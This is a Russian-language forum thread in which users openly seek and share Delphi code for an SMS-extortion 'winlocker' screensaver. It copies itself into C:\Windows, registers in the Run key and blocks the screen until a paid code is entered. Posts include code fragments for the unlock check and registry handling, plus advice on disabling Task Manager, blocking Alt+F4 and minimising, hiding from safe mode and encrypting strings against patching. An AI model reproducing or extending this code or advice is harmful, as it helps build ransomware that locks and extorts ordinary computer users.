Дата: Воскресенье, 15.03.2009, 15:08 | Сообщение # 1
Группа: Удаленные
Есть такой файл, с расширением *.SCR - типа заставка, я читал что это скорее всего Delphi, поэтому прошу помощи тут!
Вот что я хочу: =) При запуске программа автоматически копируется в автозапуск и в реестр прописывается. При её запуске появляется чёрный экран, и сообщение типа "Ваш копм заблокирован, чтобы разблокировать его введите ключ, чтобы получить ключ отправьте СМС ... на номер ..."
вот пример, нужны его исходники чтоб текст редактировать: http://depositfiles.com/files/cv965r6pp
Дата: Воскресенье, 15.03.2009, 15:20 | Сообщение # 2
Администратор
Сообщений: 906
Статус: Offline
Проще простого, если хоть немного шаришь в Delphi можно за 15 минут написать, щас скину заготовку Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
procedure DelKey; var Reg:Tregistry; begin Reg:=TRegistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); Reg.DeleteValue(Application.Title); Reg.Free; end;
procedure TForm1.Button1Click(Sender: TObject); begin if Edit1.Text= 'AAAA-AAAA-AAAA-AAAA' Then begin DelKey; Label1.Caption:= 'Верный код'; Button1.Visible:=False; Button2.Visible:=True; end else Label1.Caption:= 'Код не верный!'; end;
procedure TForm1.Button2Click(Sender: TObject); begin Close; end;
Дата: Понедельник, 25.01.2010, 16:47 | Сообщение # 7
Группа: Удаленные
pavl1k,
Quote (pavl1k)
спасибо, но она закрывается нажатием Alt+F4))) мне уже помогли ну всё равно тебе тож спасибо! =)
Alt+F4, фигня, нада еще добавить процедуру защиты от диспетчера задач. поверх окна диспетчера я выбирался с помощью таймера, который постоянно обновлял код: {поверх всей хрени}. Или диспетчер надо отключать, как то...
Написать-то я написал подобный вирус(только у меня код по другому выглядил), и Диспетчер отключил и Alt+F4 и поверх остальных окон сделал и не сдвинешь и в реестр прописал, но у меня возникла проблема: она СВОРАЧИВАЕТСЯ!!! Что нужно сделать чтобы этого не было??? Заведующий палатой #6
И еще за что отвечает вот эта строчка?: CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);---Как я понял она копирует файл в указанный путь и меняет имя! Исправте пожалуйста если я ошибаюсь Заведующий палатой #6
Я не правильно сказал Вы не правильно поняли, в BorderIcons все значения поставил на false и изчезли кнопки, но в Панели задач можно нажать ПКМ и выбрать команду "свернуть". Вот приведу пример с командой "закрыть": вызываем событие OnCloseQuery для формы и пишем CanClose:=false;- и всё! в панели задач уже не закроешь. Вот таким "макаром" надо закрыть команду "свернуть"КАК??? Заведующий палатой #6
1) Если не трудно просто скажите как сделать так чтобы форма вообще никак не СВОРАЧИВАЛАСЬ!!! 2) PRIME скажи пожалуйста как постоянно подавать команду чтоб оно разворачивалось???(подробнее, выложи код) Заведующий палатой #6
Дата: Воскресенье, 31.01.2010, 10:40 | Сообщение # 18
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
procedure TForm1.Timer1Timer(Sender: TObject); begin if form1.windowstate=wsMinimized then form1.windowstate:=wsMaximized end; end.---Форма один фиг сворачивается. Исправте пожал. Заведующий палатой #6
хм,а у меня не получалось спрятать от диспетчера задач и безопасного режима! Как ето сделать?(Просто есть у меня исходник покруче чем я спросил,но он полностью на асме и я половину кода не понял еще) Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
Врядли выйдет если вирус действительно хороший, строки обычно шифруют, либо шифруют весь файл,поэтому патчить не получится Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик